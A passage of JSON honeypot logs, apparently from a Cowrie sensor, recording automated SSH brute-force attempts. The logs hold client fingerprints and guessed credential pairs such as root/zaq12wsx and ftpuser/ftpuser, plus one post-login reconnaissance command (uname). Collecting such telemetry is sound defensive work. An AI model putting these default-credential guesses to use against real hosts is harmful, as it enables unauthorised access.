om","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:49.032377Z","src_ip":"45.156.87.254","session":"24a23d2ab9f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:49.295976Z","src_ip":"45.156.87.254","session":"24a23d2ab9f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:50.115208Z","src_ip":"186.30.115.187","session":"ec72d248c271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:50.381833Z","src_ip":"45.156.87.254","session":"24a23d2ab9f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39888,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cfa764568e5","protocol":"ssh","message":"New connection: 45.156.87.254:39888 (159.203.135.109:22) [session: 5cfa764568e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:53.829130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:53.834028Z","src_ip":"45.156.87.254","session":"5cfa764568e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:53.916011Z","src_ip":"45.156.87.254","session":"5cfa764568e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:54.173771Z","src_ip":"45.156.87.254","session":"5cfa764568e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:55.278717Z","src_ip":"45.156.87.254","session":"5cfa764568e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38926,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33301321ba1","protocol":"ssh","message":"New connection: 45.156.87.254:38926 (159.203.135.109:22) [session: d33301321ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:58.851888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:58.856376Z","src_ip":"45.156.87.254","session":"d33301321ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:58.941819Z","src_ip":"45.156.87.254","session":"d33301321ba1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:01:59.212551Z","src_ip":"45.156.87.254","session":"d33301321ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:00.298254Z","src_ip":"45.156.87.254","session":"d33301321ba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38940,"dst_ip":"159.203.135.109","dst_port":22,"session":"adddf2322bca","protocol":"ssh","message":"New connection: 45.156.87.254:38940 (159.203.135.109:22) [session: adddf2322bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:03.925977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:03.931187Z","src_ip":"45.156.87.254","session":"adddf2322bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:04.016270Z","src_ip":"45.156.87.254","session":"adddf2322bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:04.269371Z","src_ip":"45.156.87.254","session":"adddf2322bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:05.399965Z","src_ip":"45.156.87.254","session":"adddf2322bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0cc917506ea","protocol":"ssh","message":"New connection: 45.156.87.254:52020 (159.203.135.109:22) [session: b0cc917506ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.084724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.089222Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.178206Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.434798Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.643569Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.646821Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.738434Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:09.743256Z","src_ip":"45.156.87.254","session":"b0cc917506ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":47288,"dst_ip":"10.17.0.5","dst_port":22,"session":"15779b955792","protocol":"ssh","message":"New connection: 185.16.214.226:47288 (10.17.0.5:22) [session: 15779b955792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:11.665958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:11.670589Z","src_ip":"185.16.214.226","session":"15779b955792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:11.796771Z","src_ip":"185.16.214.226","session":"15779b955792","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:12.335228Z","src_ip":"185.16.214.226","session":"15779b955792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:13.465422Z","src_ip":"185.16.214.226","session":"15779b955792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":52036,"dst_ip":"159.203.135.109","dst_port":22,"session":"b37fa8a9865c","protocol":"ssh","message":"New connection: 45.156.87.254:52036 (159.203.135.109:22) [session: b37fa8a9865c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:14.317769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:14.322937Z","src_ip":"45.156.87.254","session":"b37fa8a9865c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:14.408900Z","src_ip":"45.156.87.254","session":"b37fa8a9865c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:14.669657Z","src_ip":"45.156.87.254","session":"b37fa8a9865c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:15.758802Z","src_ip":"45.156.87.254","session":"b37fa8a9865c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42506,"dst_ip":"10.17.0.5","dst_port":23,"session":"776ee30ae64b","protocol":"telnet","message":"New connection: 104.245.105.2:42506 (10.17.0.5:23) [session: 776ee30ae64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:16.589021Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33680,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad0b74384f35","protocol":"ssh","message":"New connection: 45.156.87.254:33680 (159.203.135.109:22) [session: ad0b74384f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:19.315023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:19.320773Z","src_ip":"45.156.87.254","session":"ad0b74384f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:19.407089Z","src_ip":"45.156.87.254","session":"ad0b74384f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:19.805170Z","src_ip":"45.156.87.254","session":"ad0b74384f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:20.889883Z","src_ip":"45.156.87.254","session":"ad0b74384f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":33686,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3beafbaeb0e","protocol":"ssh","message":"New connection: 45.156.87.254:33686 (159.203.135.109:22) [session: c3beafbaeb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:24.396428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:02:24.401103Z","src_ip":"45.156.87.254","session":"c3beafbaeb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.